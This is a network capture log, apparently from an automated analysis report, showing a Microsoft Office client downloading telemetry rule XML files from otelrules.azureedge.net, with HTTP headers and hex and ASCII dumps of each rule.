2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-185f5d8b95cqnkdjhC1NYCm8w80000000a30000000008s4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-185f5d8b95c96jn4hC1NYCbgp80000000a4g00000000hxvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.8	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-1777c6cb754rz2pghC1TEBghen00000009fg000000009e6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.8	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-185f5d8b95c68cvnhC1NYCfn7s0000000a7g00000000bdhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.8	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:42 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122842Z-185f5d8b95c4vwv8hC1NYCy4v40000000aa000000000e3tn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.8	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:43 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122843Z-185f5d8b95crl6swhC1NYC3ueg0000000af0000000000m30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:43 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.8	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:43 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122843Z-185f5d8b95crwqd8hC1NYCps680000000a6000000000cax3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:43 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.8	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:43 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fc5e1946-701e-003e-78eb-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122843Z-r1d97b99577n4dznhC1TEBc1qw00000008v000000000ae0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:43 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.8	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:43 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122843Z-185f5d8b95cgrrn8hC1NYCgwh40000000a4g000000005z7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:43 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.8	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122843Z-185f5d8b95csd4bwhC1NYCq7dc0000000a80000000001hxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.8	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:43 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-185f5d8b95crwqd8hC1NYCps680000000a5g00000000d147 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.8	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:44 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122844Z-185f5d8b95c96jn4hC1NYCbgp80000000a7g000000009vbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:44 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.8	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:44 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
